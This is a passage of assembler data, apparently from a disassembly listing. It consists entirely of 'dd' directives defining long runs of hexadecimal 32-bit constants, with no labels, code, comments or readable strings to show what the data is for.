		dd 814C1B17h, 0ECDC24FFh, 3373EC60h, 8099833h, 0A6E900F0h
		dd 0C155DC3Ch, 6E01CD35h, 3A92125Bh, 0C850FECEh, 0FD2E82C7h
		dd 0D05FA450h, 0A4FA0023h, 0C2190CB2h, 0DC093602h, 2378C72h
		dd 0C0E2B799h, 7D24F8h,	3144E389h, 7EEB6471h, 9E1DEC00h
		dd 30732521h, 2310005Dh, 0C2D0558Fh, 0CA00870Dh, 0E2C793F3h
		dd 1FF07AC1h, 4046AE92h, 0D6F1A7E9h, 0EF718319h, 86FA7803h
		dd 0ED906Fh, 54241730h,	1ED72857h, 81464A00h, 9ABE1D9Dh
		dd 0E0B00082h, 694DCEA8h, 0CA2CBA5Bh, 0E60117E8h, 0E793EE77h
		dd 0C4E50C8h, 94F301CCh, 0A6068E20h, 9807570Eh,	0D9ED0090h
		dd 8F4AE715h, 0DD3E582Dh, 0D26F83CAh, 0D03BC09Eh, 3857910h
		dd 93C448D1h, 39039B67h, 0E7014FCAh, 0B558009Fh, 801C6110h
		dd 6F0393FAh, 99C4504Bh, 9069E0E7h, 0CBCE0226h,	4FC56D38h
		dd 87B4BA41h, 0CC979838h, 0A62853B3h, 0BEF51C30h, 6E160EEBh
		dd 4668A6E0h, 1C0381FDh, 1718E370h, 938002D5h, 0B1BE214Ch
		dd 8B0603h, 9695F999h, 72BFE071h, 0EA2C6507h, 6EB0F2B6h
		dd 0E920912h, 0AC90C370h, 0F363F7C0h, 0BF0ECC37h, 0E3DCB31Ah
		dd 43CD7C2Fh, 0F3EC0410h, 10F16530h, 0B62214h, 0BBA5C61Fh
		dd 30B4E44Ch, 0D9C1C800h, 22DBF3B9h, 14F93EA7h,	0CF29AA31h
		dd 323A0073h, 7A9600A4h, 1C6B63F5h, 0FE033C2Ah,	206A7CA1h
		dd 0E486910Bh, 0FC25D4h, 0C8150DCBh, 10BC4583h,	0F834CC00h
		dd 853E9A2Dh, 0E4D700B3h, 0AB50E674h, 9F03F413h, 0AEC03F90h
		dd 8F978005h, 702F1AA0h, 0FE0010AFh, 8ED01A94h,	37A6A07h
		dd 15B738BDh, 0E193EF30h, 66A90F4Fh, 0F008C53h,	0E4AFF268h
		dd 51DD4614h, 0CA007C80h, 0BB9C70C3h, 1BA3B38h,	9A920A3Ah
		dd 80E20F54h, 7B974840h, 0C390AFh, 0E6A237F5h, 0C60D8AC8h
		dd 0F9951007h, 2740C968h, 52F01h, 98DFB81Dh, 2D6DD004h
		dd 42DD3Ch, 0E2CF6892h,	0A9954E1h, 71BE4456h, 0A27B00C4h
		dd 3CFB3719h, 0A1C3CE30h, 0A5D680Ch, 0DB349B56h, 5A2D0088h
		dd 2779811h, 0E495B200h, 0E57FD7BEh, 0BBED484Ch, 20420D03h
		dd 1898C1F0h, 45005564h, 0A581A271h, 96F280h, 6AB51FCAh
		dd 2AB927EDh, 0ADE74200h, 328CD84Ah, 0B04400DFh, 687A9A01h
		dd 0D50170A3h, 0F9720F0Eh, 3AE066D4h, 8D5B00DDh, 0A8797F09h
		dd 5A098B67h, 9E8F30h, 0DB88462Ch, 26B70037h, 606114ECh
		dd 0BF1DDFD3h, 74811B4Fh, 29C9AD66h, 13EE95F4h,	23DB44h
		dd 0C79AFCDCh, 2400B840h, 552B2A8Dh, 58643Bh, 93DFBBF1h
		dd 9660AD6Dh, 921AB905h, 0D0403035h, 9D90F7D7h,	0E0C5555Ah
		dd 0AC98DCh, 0B9FF13F4h, 0D4B1D5B6h, 2235CC07h,	911F7A2h
		dd 589DF087h, 0F30F00B7h, 8DD59DD9h, 0CA00C875h, 0EF49E82Ch
		dd 92046D7Ch, 0C91E448h, 0E582F871h, 0D1987510h, 0D47C1F00h
		dd 2ACE0980h, 147A2423h, 0A68D07B0h, 0F91F7007h, 6700AFFFh
		dd 2762BFBEh, 0EA446E0h, 8801D478h, 479FB1A0h, 54006183h
		dd 0ED38F50Ch, 14447E58h, 0FAB217F9h, 0C86E5B06h, 6F0378E7h
		dd 0EDF0FD68h, 15C2D084h, 0ADD224BCh, 0CE500450h, 0BA47C321h
		dd 8CFCF803h, 7A3AB801h, 0FD6000E1h, 213DC564h,	6C0F8AF4h
		dd 24563124h, 48807D66h, 2BBEC2h, 49594FCEh, 2376B972h
		dd 119258h, 2FB89767h, 19DDBD88h, 58A0FD0Bh, 0AA8CE079h
		dd 8578CB78h, 8344A31Ch, 0BF6506C1h, 68C698B8h,	548DA43Ch
		dd 48ECD86Ah, 0E900E4BEh, 82FD2779h, 0BBE00DBAh, 9AD7A100h
		dd 9FEED9D8h, 0B88C30F2h, 0D1655C40h, 4E141600h, 0C5FFCEAh
		dd 255E0318h, 0A6F4E220h, 0C8ED4AC9h, 5A26A234h, 0A301E3B3h
		dd 0F695BC9Ch, 7A871820h, 0F1D200D5h, 17E9AFD7h, 0BC090648h
		dd 0BF2C43h, 0FBA39B20h, 0C7E800CBh, 574F7BFCh,	7F0E02ABh
		dd 43CE1216h, 0B97D56A3h, 0C1C02F91h, 0F27000F0h, 3067DC47h
		dd 6C076669h, 0D42C2B42h, 0C22E9F80h, 31F0AA1h,	81B42AB6h
		dd 3DF85335h, 87B9F0AFh, 0F054EC05h, 8C0D745h, 4AEF7Eh
		dd 0B45547F6h, 4C77F71Eh, 8E8D6803h, 0B8C61334h, 0FAA41EBh
		dd 0C2CE3DB1h, 65027E3h, 0D40E8680h, 94122900h,	9D625231h
		dd 344C0705h, 903AAFB2h, 91E158FBh, 11611713h, 0C740381Ch
		dd 0CBF2A57Bh, 8CC900EEh, 787DC39Eh, 88004748h,	0CCE70C07h
		dd 2E460A39h, 59F47Eh
		dd 6A1658Fh, 8CFE3A04h,	79D6610Fh, 5E3E2012h, 70288F2h
		dd 4EDD45A6h, 383D202Eh, 871F4C1Ah, 61C02728h, 36720A3Bh
		dd 20130A9Eh, 0D1E648h,	0A8045EBFh, 114C0932h, 0F61600A8h
		dd 0F34792FAh, 25620F78h, 0E6804376h, 0D5B311AAh, 3E6F6403h
		dd 0F84A96CBh, 889F9Eh,	0A629ECF9h, 0E893A232h,	444FEE24h
		dd 0C1C0BA90h, 94031BCEh, 0C7B99C04h, 9893E01Dh, 8354E19Ah
		dd 0C3DEE0EEh, 0A779017Ch, 9313B66Dh, 37ABE8C9h, 2CA87A00h
		dd 3BBE764Bh, 0E1E00EAh, 5F4361A4h, 0CC00A6B4h,	0BD52EF84h
		dd 0E8ABBF78h, 0F1C00097h, 0D8B88734h, 0EA61EB66h, 14A22D20h
		dd 69611071h, 62E9F4h, 40940AAFh, 0A29A5EF2h, 90F98E2h
		dd 2071705Bh, 2D8C25B9h, 72A82C89h, 0E48A80F0h,	132A3655h
		dd 90514C00h, 832B5D21h, 38880028h, 465F02A5h, 8F022F96h
		dd 4504AF55h, 3208805Ch, 29241Bh, 6263338Ah, 9BA44201h
		dd 18305Dh, 16BC487Ch, 1F64E947h, 8C90D06Dh, 93807F5Eh
		dd 6974DF78h, 0FA4AE60Bh, 9B38A216h, 4C002F9Eh,	4278366Dh
		dd 142F9D74h, 0FAC7C2Bh, 0F3807D43h, 9F9B84B1h,	654218A0h
		dd 803D18DEh, 131C0516h, 34417C9h, 0B40F1278h, 4AE13694h
		dd 0F93840C5h, 43009030h, 0B2F18795h, 74B51082h, 9875EAA1h
		dd 0CE3900DFh, 0ADEED7B8h, 0DD1CBE55h, 62C0DAD8h, 81D0A61Dh
		dd 28F200D3h, 31E3C6Fh,	0C400F495h, 0A609D811h,	3FD3AEC6h
		dd 3700A24Ch, 0ECFB4807h, 0CE005744h, 66AB8B2Fh, 69C53Dh
		dd 3FE61BBFh, 0BD0CE721h, 0D73BBC01h, 1E291957h, 0E351C4h
		dd 0E7BB2ACFh, 0D5E93F94h, 6FA5D901h, 88C0AEDAh, 0F64C26C0h
		dd 93B21D15h, 0ED57C08Ch, 7F3328DCh, 80CD493Ch,	0FEC99582h
		dd 0E019F5F7h, 16CF1CA2h, 388EAB3h, 0C149667Ah,	3B88C7B2h
		dd 18C073D9h, 72F6A16Dh, 4BC60307h, 4E7F1AA3h, 0F9949094h
		dd 0C2003097h, 25B110B6h, 6627332h, 0F0A7A247h,	0E90018DFh
		dd 0C464ED4Eh, 78CAACCEh, 903071F5h, 0D430FFACh, 0E9B20AF7h
		dd 93E8FAF2h, 56190046h, 8CF9B9D3h, 6FEC4007h, 9B80DE6Bh
		dd 0DFA87186h, 3F140328h, 91E3C1D5h, 99C0A673h,	7EEAB6C8h
		dd 6833606Ch, 77C2971Eh, 0EF108100h, 0D8A7159Dh, 0F3A0C3C6h
		dd 803AB8B7h, 0A18F40EBh, 708074C1h, 0E2A11446h, 0B411EF28h
		dd 6F00970Bh, 22F79F1h,	0E80EB7C6h, 74B6F093h, 0C9430094h
		dd 91A52D9Ah, 194A97h, 0AC7EEBE0h, 91C2C2EFh, 10875ED3h
		dd 0C040E8BFh, 48C18FDh, 0D138C80Bh, 0FFE86B61h, 681ADE69h
		dd 5FE07459h, 244EE8D5h, 168038Ah, 0E91C9712h, 46CC40ABh
		dd 18C01D90h, 0A50C1A35h, 9F59C09Dh, 13153342h,	0F0D0560Ch
		dd 0C080093Ah, 334A7F21h, 730013A8h, 0F9DE9511h, 281C4202h
		dd 7F90273Bh, 18B198E9h, 0D8F12897h, 84A02598h,	6924CD0Ah
		dd 1BC30F2h, 58F916DCh,	0E02021F5h, 83165FDh, 69C4B38h
		dd 80569387h, 0F1B4E2ABh, 900437Bh, 413C5EAFh, 28E52F67h
		dd 36DCCA20h, 0A980CD07h, 0FD70BF17h, 0EF31B000h, 0FF089C7Eh
		dd 800DF191h, 13123343h, 83448C2Eh, 334B017Ah, 0E00A53F2h
		dd 0E96930C5h, 6F12C709h, 0EF7420C9h, 0A114D05Eh, 59181730h
		dd 1321337Eh, 4144C07Eh, 0B0B09333h, 0E1089517h, 4821FF0Dh
		dd 0B9985898h, 8A00DA10h, 7EAA79A1h, 24B05Fh, 899F601Eh
		dd 0C38B0CF1h, 3DD96B00h, 7C69DB91h, 79ED00ECh,	7364E6FEh
		dd 0B73A419Dh, 0F91B0071h, 58EF549Ah, 0B55E021Ch, 0AB865948h
		dd 48C005E2h, 0DE5A244Eh, 160040E8h, 4FE2B84Dh,	410940D4h
		dd 55A85562h, 27422880h, 5C00A4C7h, 8029FF25h, 1C0E6B8Fh
		dd 41242E0Fh, 0A3392DE8h, 21D0E410h, 4A08B300h,	0A4AEE095h
		dd 92530EABh, 84609032h, 2B3BF101h, 265E8C3Dh, 79074B55h
		dd 0EA4012ADh, 0C06DEB8h, 34C04598h, 6000CB3Ah,	5287502Ch
		dd 786CAFD4h, 9FA90157h, 0C7B4395Bh, 431A136h, 609FAFF0h
		dd 4CD01053h, 320023CAh, 0A050412Ah, 387A3Ch, 0AFC25EFBh
		dd 0DDEFA236h, 0A7512719h, 61095529h, 0D2299025h, 48A1F284h
		dd 91B64289h, 22A37E22h, 7D24ACFFh, 1292DB21h, 0BFE810DAh
		dd 0DF089189h, 84E6E744h, 42B83622h, 943411A5h,	0CF048222h
		dd 0BFBD5C26h, 9B0AFBC1h, 55D9D4h, 12187D60h, 47C3B9A2h
		dd 0A9B2F600h, 4DEA6B82h, 35BD00CBh, 969F783h, 0E2983250h
		dd 7D36E400h, 81B9FA41h, 3CD51F1Ch, 0C0885E9Ch,	653D327Eh
		dd 0B0003618h, 3568AB23h, 0B876AAh, 857A3461h, 54FD781h
		dd 0A612CC0Fh, 0E0230048h, 7683C7B5h, 55140072h, 264C2A8Eh
		dd 0B0003DF1h, 86CCF795h, 0F4F60D82h, 5E200054h, 2B8AA469h
		dd 3F00B434h, 0AB6D42D2h, 9CFB79h, 9D3055B1h, 0D5C0546h
		dd 80377B3Bh, 9880D6C8h, 0E5042EDAh, 67092981h,	0EC0AF6B9h
		dd 8398BCC3h, 0A37DD11Dh, 4BF72580h, 77635F24h,	690C0FD4h
		dd 59A037D6h, 9F5D4DB5h, 0BE958000h, 0A7C71857h, 1193609Eh
		dd 0CE33D429h, 6E15A000h, 0C5A32AB3h, 2E489278h, 20EA049Fh
		dd 42D401C0h, 17CBE451h, 0E7BAC457h, 0B774FD00h, 0F6DAAD09h
		dd 0BCD00049h, 0D1640324h, 52072E30h, 892017ACh, 9BBD12E0h
		dd 84881ED0h, 94983DFEh, 69926842h, 627C1900h, 540A912Bh
		dd 2A170ACCh, 3B020F5h,	0B412DC08h, 6B86FCD0h, 0E5873700h
		dd 5709187Ch, 55B20013h, 0AC044C61h, 1600B9A4h,	188BA1C7h
		dd 2C91BCB4h, 164DCDFDh, 7D9E0075h, 0F7B72820h,	0CC87A50Ah
		dd 0DE00B0AFh, 7AD389FFh, 7410C0D2h, 8D27AADDh,	0B0C59800h
		dd 19A63809h, 9D6F0056h, 0C76ABCC1h, 40033DCh, 0A17A8BABh
		dd 76607281h, 0A9D30065h, 94AF1B8h, 8500CA32h, 9CFAB579h
		dd 8E0D90h, 3C7897E5h, 70CE982h, 0A66B5500h, 0C2F606ECh
		dd 0F74801FEh, 1A52E009h, 0FC4F3068h, 6E098C77h, 434664h
		dd 85791738h, 90150BC8h, 0B8802B07h, 66A5DA99h,	0FDD04100h
		dd 51012F58h, 7454005Fh, 0F523EE95h, 0E6309846h, 20C1296Bh
		dd 0B67E0015h, 17053803h, 0E30509F1h, 4C74063Eh, 1394D000h
		dd 7BA161h, 0D7CE3B5Eh,	389791Ah, 0E72C591Eh, 9B522440h
		dd 0D8C631h, 19EE06Eh, 0B1694957h, 9DE4931Ch, 5EA02E80h
		dd 24F89A1Eh, 1CCCC63Dh, 9C1840C0h, 0E68E7D07h,	370095E8h
		dd 19FE5EDh, 7FF0355h, 7CC7C331h, 3EE7C00Dh, 0E001B46Ch
		dd 0B85BD6C9h, 9DD53A30h, 9088B820h, 0A55C00F1h, 677AFACEh
		dd 310D1548h, 70D135D8h, 145836F0h, 0D8D613B7h,	0CFDE0F7Dh
		dd 83012128h, 34E2C004h, 1A0E49C4h, 206094F3h, 0CE3CC548h
		dd 0E7465027h, 0E8E424F1h, 0A8FA00E8h, 6F39E7C8h, 0EA2B3507h
		dd 10E9BF2h, 345CE82Eh,	98B26020h, 8DD40008h, 47245445h
		dd 25248E4Ah, 0E40098A7h, 8FE2BFDh, 0C55730F7h,	33E71698h
		dd 80E5BF00h, 0D5DA62E6h, 0A9830090h, 0EB32E893h, 28FAB9C9h
		dd 0A103B007h, 2D706249h, 18953E9h, 7629373Fh, 0D8DD27E8h
		dd 1000F105h, 16CF99B7h, 0E6CBC78h, 0F4562FFEh,	778469A0h
		dd 74024863h, 0C65BF294h, 4866E4h, 9BF8E5CFh, 781DE49h
		dd 10A3938h, 0BE67216h,	98400CA9h, 7578F6AAh, 17090006h
		dd 0D0CEA13Bh, 30006CE1h, 0CC8440BEh, 7E2F73Ah,	0BDBBA069h
		dd 0D70E329h, 0B0BCA580h, 7B615400h, 0F701E9FEh, 55C81FB7h
		dd 9F8740D8h, 3AF4AC71h, 17F2D8FBh, 33A65302h, 60AAFBD0h
		dd 11221Fh, 0F89457FEh,	0AE3C95CEh, 9FC3F507h, 5D607E6Ah
		dd 0F2EDE905h, 647C94h
		dd 3ECB33C4h, 141E34BDh, 0C6E08C03h, 0E0620649h, 0AD43159h
		dd 9D6BDE4Dh, 7E13F4h, 0F4BD13F5h, 2731E6B8h, 1EC61893h
		dd 6003836h, 0C952D6F0h, 30005EEAh, 13329A64h, 37F187h
		dd 0EDC63859h, 3F33B6CBh, 8B920C39h, 0A0EEFBA5h, 97A75318h
		dd 23673888h, 596B7C00h, 57052B1h, 7E01C498h, 43BBD31Bh
		dd 0DFD05DF3h, 0BFF602D8h, 3282E634h, 0C8779881h, 0A2A9C386h
		dd 855E0D5h, 0D7663E00h, 0B749FF8Dh, 6F19069Fh,	79B201B4h
		dd 0A411B30Eh, 0CB40FE5Dh, 39F17C64h, 0E057F2Dh, 0BE7FA2F3h
		dd 7A80816Fh, 0B8DA6EB5h, 60A6D524h, 42F3B401h,	2860A908h
		dd 64A0002Dh, 7EFC960Eh, 6702742Fh, 0E5AC13DDh,	0AD55C078h
		dd 0E0F000C3h, 27B23F8Ch, 1E003AEBh, 0B5D3EE45h, 1956960Bh
		dd 0AE92DD9Bh, 764CE008h, 0AF997528h, 908E1D00h, 0A5B669FAh
		dd 0A22300F8h, 27A65B61h, 4C3D2975h, 0B56C8124h, 0BF760C06h
		dd 0EDE096h, 0D3C74F64h, 6D033E1Bh, 6E17943Fh, 68809593h
		dd 123BE3F2h, 3B9EB2Fh,	0BEDA9D98h, 91A7E000h, 1B1530F4h
		dd 934917E1h, 0B1D84334h, 80AD4FF7h, 0F41DE318h, 0DDC73800h
		dd 845A8FD6h, 334CBEh, 28D7378h, 465C73C5h, 8040A560h
		dd 69099F32h, 8091C705h, 0CCC25F80h, 0B04CFC29h, 48D40B30h
		dd 5F00F521h, 78AE94B3h, 2433E100h, 8473B874h, 0C37206ADh
		dd 18E03B5Ch, 58C905Ch,	2B517A09h, 3230AAC0h, 5AA21716h
		dd 49CB0C57h, 8C3A5DB8h, 0F0088041h, 621383B4h,	0C88662E8h
		dd 3BE0804Dh, 3A0F6418h, 407B8FC4h, 8A8811A9h, 0BF7C5CB7h
		dd 0FAE5500h, 19597739h, 0A687623Ah, 2400E65Dh,	0AA9412FFh
		dd 0BA741220h, 57900036h, 0D59FC914h, 0C14F4400h, 3D0BBDE0h
		dd 3E707Ah, 10E8619h, 8C7480CEh, 0F35E8800h, 76FB7F98h
		dd 5AC53DACh, 0B0AD9Dh,	38C616CBh, 880FE675h, 37692CB5h
		dd 0CFB8FC30h, 0BE081EC1h, 764287B2h, 0DB24A25Ah, 91D20440h
		dd 4000FB74h, 0FCD30C6Ah, 0E0F3A9h, 0C83B5138h,	92CD8003h
		dd 0B58DB209h, 7354008Eh, 0BA54BBA6h, 74090078h, 527B65Dh
		dd 5124C193h, 0E80F20E1h, 5A8CE045h, 0F79434Eh,	9C5374D2h
		dd 109291EEh, 7A00E7ACh, 0A91D7B13h, 0A35C59D8h, 0DA790074h
		dd 8A37FCDDh, 0A5720E4Ah, 632087ACh, 7F6D88DEh,	73AB5602h
		dd 43DC67C7h, 3F83C828h, 6E6906C0h, 607B4132h, 2B90D801h
		dd 6FFB255Fh, 0AC03E4h,	978EDEB6h, 0A9C0C174h, 301870FFh
		dd 2F0BA301h, 244BB725h, 108FF03Fh, 6D730E01h, 0B244D8F2h
		dd 0A726D4h, 3482243Ch,	0B581A04Fh, 91BAF71Ch, 9AFB2DC1h
		dd 0E4208A53h, 73380E4Ah, 9EC06E45h, 63FC3719h,	21411400h
		dd 385D03A3h, 3AA9002Ch, 0ECF60D34h, 0F16E31Fh,	0B840BD76h
		dd 18876977h, 60D8F4CCh, 71859821h, 914968BEh, 0EB1A00B8h
		dd 7479D1A4h, 99B400CBh, 776AA066h, 51F84C1h, 0A83EE463h
		dd 5E0B88F6h, 0E1CCD13h, 24552064h, 72F2BAh, 0DD1A61D6h
		dd 196964F6h, 864AECE7h, 9706C778h, 4BFFDA67h, 8F100070h
		dd 0CA500509h, 0E49A42ADh, 0D5481D00h, 81BA6BA2h, 0BE0F01FBh
		dd 4C7A225Ah, 84B3F482h, 4F04BD00h, 0BAF96141h,	7CC20283h
		dd 0F2D9648Eh, 319444E0h, 9C807EE5h, 168D67AAh,	6FDD0Fh
		dd 0FD25019Fh, 784A2679h, 0EA168412h, 6DA11C00h, 1D22CBFAh
		dd 0D9A846h, 0D887A447h, 0B604FDEAh, 9B202739h,	0E07FC4C2h
		dd 2E10D7D6h, 0A78B24h,	9819211Ah, 0D30089F5h, 0C7ECF7D5h
		dd 95BB010h, 96BB26D8h,	0B9E0AD80h, 0F400D7A5h,	6ED562F1h
		dd 1FF565ECh, 80ADE119h, 16896C0Bh, 2A00ED0Fh, 75601A26h
		dd 0DD8FABh, 0ADD9B558h, 1180B76Eh, 1B00F9EEh, 4BF30743h
		dd 1DBA490h, 5C9B4EEFh,	0E8F07FE4h, 832441E7h, 0EE1304C6h
		dd 703CD441h, 20D831DCh, 0E888009Eh, 0EE28C56Bh, 7A008346h
		dd 239D97D3h, 16DB4139h, 0B81B61h, 9A30E050h, 340011AAh
		dd 4D2DC6FFh, 5A36B03h,	0DF6EB0ECh, 9EB0C02Fh, 9F00519Bh
		dd 384D017Fh, 41CBCAh, 5B9607D1h, 8522D732h, 0BD1F657Bh
		dd 0C982138Fh, 0C0308EA1h, 1686004h, 3DEADC63h,	0DD9F096Bh
		dd 0BAFBDC4Ah, 85D62800h, 0F30513A8h, 6E5F000Ch, 0F6C8F2DCh
		dd 0ED7B15E8h, 8342263Bh, 772A568Ah, 701CB8DEh,	3EAC03AEh
		dd 112E318Ch, 3740A8A0h, 2354F701h, 5DB1DC94h, 0F2704474h
		dd 0EAAD00A7h, 954AF14Eh, 7A03B9C3h, 86DB3CE8h,	0EC110030h
		dd 0D844E184h, 7C00678Ch, 4A667D21h, 57A1CDh, 0A4E8B6B8h
		dd 0B385AFF9h, 83E37300h, 6BAFEDEh, 0D6F81D6Dh,	0A4E1402Ah
		dd 9A2CF523h, 101FFD00h, 723B4770h, 0EB6F0744h,	804D2A5Ch
		dd 7D871522h, 0BAC9A0Ch, 0F0A418EAh, 5B2C00AFh,	0D258B00Ah
		dd 0F500EDCEh, 0EB074581h, 0B7049Ch, 0F8B14CADh, 0E297EC1h
		dd 0E4615B00h, 0F38958C0h, 0CC30004h, 2E3AFD44h, 0CF00EB05h
		dd 197963D3h, 7DF174h, 13BC5567h, 7E5E8058h, 0FA9DB20Bh
		dd 9BEF809Ah, 0EF1A75h,	3901DC71h, 368316B7h, 0A3AAB50Eh
		dd 15DFA190h, 44347957h, 8B2B80D6h, 245E0426h, 1053803Ah
		dd 0B33A9E2h, 0EBD13A73h, 79652EF4h, 16FA01B8h,	20ABE268h
		dd 84E643BCh, 0AE45EE00h, 0F0172477h, 591401DBh, 66D6887Ah
		dd 8028B991h, 27BE13Ch,	0EC722Fh, 0F2F8B404h, 18D642EDh
		dd 53BB7100h, 0FEC419ACh, 0F0B0DEh, 0F717CD01h,	0EA949DE5h
		dd 8B72DC00h, 0CC79AE93h, 8F071218h, 6E7004AFh,	902684D4h
		dd 9A3D5A70h, 5D7E72F0h, 13006173h, 0E4EF2921h,	0CF7AEBh
		dd 0E00FBCC0h, 8F6DDB67h, 81B5DE00h, 6B4D90EEh,	0EE4EF636h
		dd 37BF0061h, 7FEFF991h, 0FE005EA5h, 8FADCFCDh,	0B08E71h
		dd 28520355h, 1785BFC9h, 0C3E43302h, 0C00E39B8h, 7F40C8h
		dd 0F88F4790h, 0CB912394h, 7E1B1D3Ch, 5B7039h, 0A9D662E4h
		dd 0DF727Dh, 3DDC01D7h,	273816BEh, 0FF8B9A00h, 300EA36Ch
		dd 91B807D9h, 50B0738Ah, 0AD4DB3ECh, 0FF09700h,	5A9B28E7h
		dd 0BD6F13F9h, 0E268C041h, 7C04B470h, 94406C46h, 0DD3FB280h
		dd 0B89F0B79h, 14054E89h, 8494848Bh, 683CD728h,	9B79942Ah
		dd 0B70968B8h, 813ABCDAh, 0C9339C00h, 0B3D3CC0h, 0ACBB5077h
		dd 0FE946480h, 0EE0F3FE2h, 2482932h, 4035210Dh,	137EF234h
		dd 0B24E50h, 560A932Ch,	0DA006648h, 398F668h, 5CA254h
		dd 73A83158h, 0B8A40106h, 6D0028E4h, 9AEF1974h,	4B1B0C3h
		dd 0A02FCF7Fh, 7E488742h, 7C15E900h, 130020BFh,	0CEC50969h
		dd 0F3A8F91h, 0C93FB4D0h, 0E615A280h, 0DE2CE402h, 0B713B83Bh
		dd 34422201h, 40EE52DAh, 121FF554h, 0EF8406h, 18B3672Ch
		dd 0A800CA8Dh, 0FF1DF265h, 84C826h, 0D0277F69h,	8BD4E294h
		dd 313ACD01h, 782E14A2h, 75FF4680h, 0C441ECA5h,	6F79A00h
		dd 279F92Bh, 1B3FEA2h, 0B78F281Dh, 0F46C7B11h, 8D0F2C24h
		dd 0C24BD18Bh, 60BDC0A0h, 8039BBh, 83AFB9DEh, 150CAD78h
		dd 26A77E00h, 5E728209h, 89403FBEh, 0BAAA4107h,	80F43466h
		dd 6E09AF17h, 464E48h, 535690B5h, 551298Fh, 43D16096h
		dd 1CF80047h, 5C19ED8Bh, 0B6B1C600h, 21E5931Eh,	86C10084h
		dd 0FF9D564Fh, 5E0EAA33h, 60081626h, 0C020AF64h, 6D1B005Fh
		dd 2FC67325h, 0C20BE039h, 1FC4570h, 20B828FCh, 0F413446Ch
		dd 830900D3h, 0ABC0C223h, 7383148h, 0A033CED1h,	6F611420h
		dd 3B2739C8h, 700F00F2h, 21D5F366h, 8739B1CAh, 0FF9B83D6h
		dd 0C8520BA0h, 168C8DBh
		dd 55089947h, 0E0AE86AAh, 20B818D3h, 1A943260h,	0F78F3h
		dd 0FE74D24Fh, 993DF1C4h, 0E934D500h, 0EF2B1AB1h, 32DE00A9h
		dd 0FE479CA0h, 0C0C0DDCCh, 69F786AFh, 241598BFh, 3A1C2A5Bh
		dd 318A18E1h, 0CAFC6073h, 0E1182D6Fh, 2172B67Eh, 3FF44021h
		dd 99EB0031h, 8A3556F7h, 160C23FBh, 115FEF30h, 3CE7031Eh
		dd 0B321B0DFh, 0E0F00FCBh, 0D600F977h, 0CE407BFh, 4A7DDCEh
		dd 3A691EDh, 22EC80C3h,	0FF0023DEh, 261BE405h, 0BA5CB1h
		dd 0FA446EBDh, 63102F92h, 1E290C00h, 0D4EB6C68h, 789CC4h
		dd 8071C4Bh, 0A090B741h, 0D40D20E5h, 479F9601h,	0ED9757BFh
		dd 170CE0h, 9462D71Ah, 0B1D56453h, 0F0FCA0FCh, 349BA500h
		dd 9AF60318h, 62146372h, 9990A8F4h, 8008411h, 8E693DDEh
		dd 6A0A23h, 0C39039ABh,	32980FAh, 4EF3AA07h, 5CE30801h
		dd 0D9ABF347h, 53F004F2h, 84B0001Fh, 72631679h,	710A9BCFh
		dd 0A1D4DDEBh, 4E2E0800h, 5011325h, 0AC417F94h,	4A8C00C2h
		dd 0BC0033Bh, 0FAC46D01h, 87B1355h, 0B3E9E4h, 752978A7h
		dd 0DD103A0Ah, 5E4B3600h, 9C039D8Bh, 542F00C2h,	1E756C43h
		dd 5A008DABh, 17EB0B49h, 16FD2057h, 4028F9C5h, 0B54DF79Ch
		dd 64090269h, 80D5EB4Bh, 68879234h, 0A7950048h,	0D9D2133Ch
		dd 0DD07819Ah, 3D35855Fh, 0F9E2401Fh, 13DC588Eh, 7AF2A25h
		dd 408DB0h, 0E452A6DFh,	0C5B4631Dh, 180043D3h, 26475DDCh
		dd 0F99609B3h, 10004169h, 87B7D960h, 0D1390A00h, 7ECE0EB4h
		dd 9030F653h, 0EFA9000Ah, 93B370ACh, 0C7047F09h, 221E2867h
		dd 62CA8B0h, 0F0DFFF78h, 6F7050A7h, 0D91A3301h,	19293747h
		dd 0B0D108D0h, 0ACBC00A4h, 8E5B0A3Fh, 66000C2Fh, 0FF6768CBh
		dd 9C08022Ah, 0AFF000B4h, 0EA3025E9h, 0F3628E00h, 283DD1A7h
		dd 8B8200F5h, 0AF262019h, 0C053A1Dh, 0B662AC5Ah, 282F98B4h
		dd 19841A1h, 2E51A2E3h,	2008F945h, 120974C4h, 0A2D061B4h
		dd 78A99CE8h, 35290F44h, 0C4E94443h, 1245E820h,	36004CB5h
		dd 0EF484EA8h, 7D77F44Dh, 0A098495Bh, 7275E00h,	0D8780FDCh
		dd 1F49961Ch, 6680C45Eh, 54C93C7h, 61D61C19h, 0BC4B809Ah
		dd 0F7918F31h, 0AC66E700h, 5970D5C9h, 21030292h, 0F876BCC7h
		dd 79D41440h, 658CB900h, 6488DDD0h, 55E8BDh, 70AF4B27h
		dd 32C981B6h, 18264C00h, 10943044h, 3EAC0934h, 242FA915h
		dd 7D61928Eh, 20DFB5BFh, 60B64510h, 4C00D116h, 2B76F60Eh
		dd 3B6301BFh, 271ECB17h, 9CE0C6F0h, 1902231Fh, 969DA6C6h
		dd 6E6CC086h, 0F51130A9h, 1BB97D20h, 0D1C5FC01h, 4CB7EA1Dh
		dd 0E7677C4h, 6C25BD85h, 99ED02C2h, 0D81AB8C1h,	6F001126h
		dd 225ACA14h, 0B3DCB84h, 0A3E7BDD7h, 0C7753C60h, 0C381802h
		dd 0C4216DC0h, 0D0D66004h, 0D060828h, 0E8F49E28h, 0C151FF07h
		dd 0E6D0D32Eh, 0C01C58h, 871F6980h, 27788430h, 10249C76h
		dd 6E048CB4h, 4EC019E0h, 26F55Bh, 0A0172C49h, 2F243D78h
		dd 0BFEF279h, 8FDF802h,	60C07939h, 15E9954h, 2AE4C4D6h
		dd 747D4EA3h, 3B01F48Ch, 80405709h, 8430ACC6h, 0E35B00B3h
		dd 3E2FB111h, 90760D47h, 9AFF5100h, 0AFD228FEh,	0D34903D7h
		dd 0E4739EDAh, 0CAADC8C8h, 0BCD06907h, 25A781B7h, 49FE6510h
		dd 325FA3h, 196821F8h, 6B01B364h, 4D0D7C02h, 7F20FEBCh
		dd 0B186056Dh, 80384BDDh, 49A2DBDDh, 732B7E00h,	29149D71h
		dd 28CA007Fh, 0B2C6DDA5h, 0E6127D64h, 0E4A09B78h, 2C2E0759h
		dd 0D3CEBBh, 55B24012h,	7006A872h, 22D4DFEEh, 20D80038h
		dd 0E385444Dh, 9F00E909h, 0CA1831DBh, 2693548Dh, 18B5ED15h
		dd 57964045h, 6FDEFC14h, 9CA500E0h, 4B8E39E7h, 8ED58C4h
		dd 0B26D5F0Bh, 0E4E0B409h, 0D30035AAh, 0E26A65BCh, 7C377657h
		dd 0ACAB1F01h, 0FC817902h, 7CFDEFADh, 94F8964Dh, 468A5CC0h
